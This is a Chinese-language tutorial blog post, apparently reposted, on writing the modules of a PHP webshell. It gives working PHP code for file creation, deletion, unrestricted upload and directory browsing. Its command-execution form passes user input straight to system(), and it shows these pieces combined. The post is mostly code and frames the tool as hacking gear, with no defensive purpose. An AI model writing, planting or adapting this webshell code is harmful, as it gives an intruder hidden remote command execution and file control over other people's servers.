帶你走進php大馬的結構模塊編寫之路


本文原創作者:Laimooc

第一部分:前沿綜述

本次我主要寫了【文件的創建】、【文件的刪除】、【文件的上傳】、【目錄瀏覽】、【命令執行】小模塊,以及【組合的目錄瀏覽和文件刪除功能】的模塊:

1.png

實驗環境:

系統環境:winserver 12 r2 datacenter

腳本運行環境:PHP  version7.0.24

第二部分:代碼編寫講解

【文件創建】

作者是借助form表單值傳遞,以及使用fopen和fwrite進行創建文件的。

具體的研究過程,我們結合代碼來說明:

<form  method="" action=""> Filename:<inputtype="text" name="file" value="" /> 

這里我們是使用input標簽,設定name值(這個,我們后面的php腳本中需要使用的,需要記住):

2.png

我的代碼如下,大家請指導:

File_content:<inputtype="textarea" name="file_content"style="width:300px;" value="" />

這里我們是接受form表單傳遞你要寫的文件內容,有想深入的表格,可以對內容的寫入上做出一些編碼解碼等的操作

<input type="submit" name="submit" value="Create"> 這里是提交按鈕 </form> <?php error_reporting(0); //這里我們設置了錯誤等級為0 $filename=$_REQUEST['file']; //這里接受我們的文件名字 $file_content=$_REQUEST['file_content']; //這里接受我們的文件內容 $myfile =fopen($filename, "a") ; //這里打開你事先設定的文件,如果沒有會創建一個新的(由寫入屬性a a+ w w+ r r+ ab ab+等控制) fwrite($myfile,$file_content); //這里執行fwrite函數寫入內容 fclose($myfile); //關閉寫入的文件 ?>

3.png

【文件刪除】

下面是我們的刪除文件代碼,依然是借助了form表單,這樣主要是為了操作起來方便,不用form表單也可以操作,只是比較麻煩(get或者post請求等)

代碼如下:

4.png

<form  method="" action=""> Filename:<inputtype="text" name="delfile" value=""> <inputtype="submit" name="submit" value="delete"> </form> form表單的意思同上述我們闡述的意思,不再介紹,不懂的同學,可以下方留言給我,第一時間必回復 <?php error_reporting(0); //刪除文件 $delfile=$_REQUEST['delfile']; if(!isset($delfile)){        exit;//判斷是否設定了delfile } else{        if (!unlink($delfile))   {   echo ("Error delete $delfile");   //如果沒有權限等其他原因文件未刪除時候的信息   } else   {   echo ("Deleted $file");   //刪除成功的返回   } } /* 使用方法:finame中輸入1.txt 表示當前文件夾下的文件,可以輸入指定文件夾中的文件如:/upload/1.txt ,即可。 刪除成功的話:返回Deleted fiel 失敗的話返回ErrorDelete。。。 */ ?>

5.png

【文件上傳】

文件的上傳,這個是大家應該比較多見的了,文件類型的限制啦、存儲等(如果作大馬的話,當然是任意文件上傳啦),不再詳細的解釋直接展示一下代碼,如果大家有什么不懂之處也可以在下方留言給我:

6.png7.png

代碼如下:

<form action="" method="post" enctype="multipart/form-data" /> <label for="userfile">Upload file</label> <input type="file" name="file" id="file"/> <input type="submit" value="send file"/> </form> <?php error_reporting(0); //設置允許上傳的mime類型,直接刪除下面一段代碼的話,則是任意文件上傳 if ((($_FILES["file"]["type"] == "image/gif") || ($_FILES["file"]["type"] == "text/plain") || ($_FILES["file"]["type"] == "application/octet-stream")))   {   if ($_FILES["file"]["error"] > 0)     {     echo "Return Code: " . $_FILES["file"]["error"] . "<br />";     }   else     {     echo "Upload: " . $_FILES["file"]["name"] . "<br />";//獲取文件名稱     echo "Type: " . $_FILES["file"]["type"] . "<br />"; //獲取文件類型     echo "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb<br />";//獲取文件大小     echo "Temp file: " . $_FILES["file"]["tmp_name"] . "<br />";//文件上傳時的暫存目錄     //判斷文件是否已經存在     if (file_exists("upload/" . $_FILES["file"]["name"]))       {       echo $_FILES["file"]["name"] . " already exists. ";       }     else       {               //從緩存目錄move文件到要上傳的目錄       move_uploaded_file($_FILES["file"]["tmp_name"],       "upload/" . $_FILES["file"]["name"]);       echo "Stored in: " . "upload/" . $_FILES["file"]["name"];       }     }   } else   {   exit;   } ?>

【目錄瀏覽】

文件的瀏覽,我還沒有仔細的研究,有深入研究的朋友,可以在下方回復代碼哇,一起進(fei)步(sheng),我的代碼比較垃圾:我直接指定了要遍歷的文件目錄,在編寫的過程中,我發現如果目錄不存在的話,會直接瀏覽器占用資源崩潰!!!

7.png

<?php error_reporting(0); header("Content-type:text/html; charset=utf8"); //讀取指定目錄 upload $current_dir='upload'; $dir =opendir($current_dir); echo '本文件:',dirname(__FILE__),'\\',basename(__FILE__),'<br/>'; //echo '當前文件:',__FILE__ ,'<br/>' ; while(false !==($file = readdir($dir))){        if($file != "." &&$file !=".."){               echo"<li>$file</li>";        } } closedir($dir); ?> 此外,參考了別人的dir()函數和getcwd(),覺得挺不錯的,可以結合使用,大家可以改造一下。 <?php $d =dir(getcwd()); echo "Handle:" . $d->handle . "<br>"; echo "Path:" . $d->path . "<br>"; while (($file =$d->read()) !== false){   echo "filename: " . $file ."<br>"; } $d->close(); ?>

【命令執行】

命令執行,這是一個好玩的東西,php給了我們一些直接可以執行系統命令的函數: exec()、passthru()、system()、 shell_exec() 還有一個神奇的:反引號。

反引號,聽起來尬不?

我的研究是使用system進行執行命令的,然后結合form表單進行值傳遞,主要還是為了表單的美觀:

8.png

代碼如下:

<form method="" action=""> Command:<input type="text"name="exec" value=""> <input type="submit"name="submit" value="exec"> </form> <?php error_reporting(0); $exec = $_REQUEST['exec']; //接收form表單傳遞過來的命令 system($exec);//可以替換為其他的執行函數 ?>

【組合的目錄瀏覽和文件刪除功能】

本小節是為了拋磚引玉,整體的變幻構造組合等,需要大家共同努力,直接展示一下代碼:

 

代碼如下:

<?php error_reporting(0); header("Content-type: text/html; charset=utf8"); //讀取指定目錄 upload $current_dir ='upload'; $dir = opendir($current_dir); echo '本文件:',dirname(__FILE__) ,'\\',basename(__FILE__),'<br/>'; //echo '當前文件:',__FILE__ ,'<br/>' ; while(false !== ($file = readdir($dir))){         if($file != "." && $file !=".."){                 echo "<li>$file</li>";         } } closedir($dir); ?> <form  method="" action=""> Filename:<input type="text" name="delfile" value=""> <input type="submit" name="submit" value="delete"> </form> <?php //刪除文件 $delfile=$_REQUEST['delfile']; if(!isset($delfile)){         exit; } else{         if (!unlink($delfile))   {   echo ("Error deleting $delfile");   } else   {   echo ("Deleted $file");   } } ?> 

第三部分:文章總結9.png

 

10.png

本次研究是繼雙十一之夜,睡不着覺,就來發了一篇文章,希望得到大家的指導,路過請留言,一帶一路。

附件回原文下載<<<<<<<<

>>>>>>黑客入門必備技能   帶你入坑,和逗比表哥們一起聊聊黑客的事兒,他們說高精尖的技術比農葯都好玩!


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM